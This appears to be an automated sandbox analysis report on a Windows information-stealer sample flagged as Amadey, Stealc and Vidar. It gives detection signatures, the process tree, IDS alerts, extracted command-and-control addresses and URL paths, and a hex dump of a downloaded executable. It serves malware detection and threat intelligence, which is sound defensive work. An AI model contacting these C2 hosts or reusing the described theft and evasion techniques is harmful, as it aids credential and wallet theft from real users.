Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1563707
MD5:	10f2cb265f91edede4941f3f8dba3b74
SHA1:	7d8ab4ade239daa96c7ef0e64a291a2fa9320be0
SHA256:	a5701170b349e3517044709a19e502fcfe7ab0a4517243b3e6cb779966037530
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

Overwrites Mozilla Firefox settings

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5160 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 10F2CB265F91EDEDE4941F3F8DBA3B74)

chrome.exe (PID: 6408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,943263377203293330,1240535653914430162,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7584 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2220,i,14701681083971057081,8128613137941983017,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8260 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBFHDHJKKJD.exe (PID: 8304 cmdline: "C:\Users\user\DocumentsBFHDHJKKJD.exe" MD5: 75C74C2FD59789450D493010E203D2FB)

skotes.exe (PID: 1672 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 75C74C2FD59789450D493010E203D2FB)

msedge.exe (PID: 7464 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7560 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6744 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 9052 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 9084 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 5772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6828 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 6024 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 75C74C2FD59789450D493010E203D2FB)

skotes.exe (PID: 8696 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 75C74C2FD59789450D493010E203D2FB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001F.00000003.2689158860.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2695752628.0000000000F71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2749061982.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.2708505132.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.2766482189.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.3271969084.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2723354960.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2729601779.0000000000471000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.3409818554.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2188438662.00000000055E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5160	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5160	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5160	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5160	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
35.2.skotes.exe.6a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.6a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.DocumentsBFHDHJKKJD.exe.470000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.2.skotes.exe.6a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5160, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6408, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:17.359770+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49718	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:17.238248+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:17.694613+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:19.166880+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:17.824210+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49718	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:16.768970+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:16:06.258462+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50123	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:05.772624+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50129	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:16:10.758557+0100	2803305	3	Unknown Traffic	192.168.2.6	50134	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T11:14:19.952936+0100	2803304	3	Unknown Traffic	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-27T11:14:43.382015+0100	2803304	3	Unknown Traffic	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:45.349802+0100	2803304	3	Unknown Traffic	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:46.812556+0100	2803304	3	Unknown Traffic	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:47.928522+0100	2803304	3	Unknown Traffic	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:51.932775+0100	2803304	3	Unknown Traffic	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:52.998553+0100	2803304	3	Unknown Traffic	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:58.861214+0100	2803304	3	Unknown Traffic	192.168.2.6	49957	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpyI.#	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllcJi	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpyu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpHJKKJD.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php8U	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phppresolver.dllr	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001F.00000003.2689158860.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5160.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C976C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C976C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.19.45:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.19.45:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.19.45:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50148 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50123 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50129

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 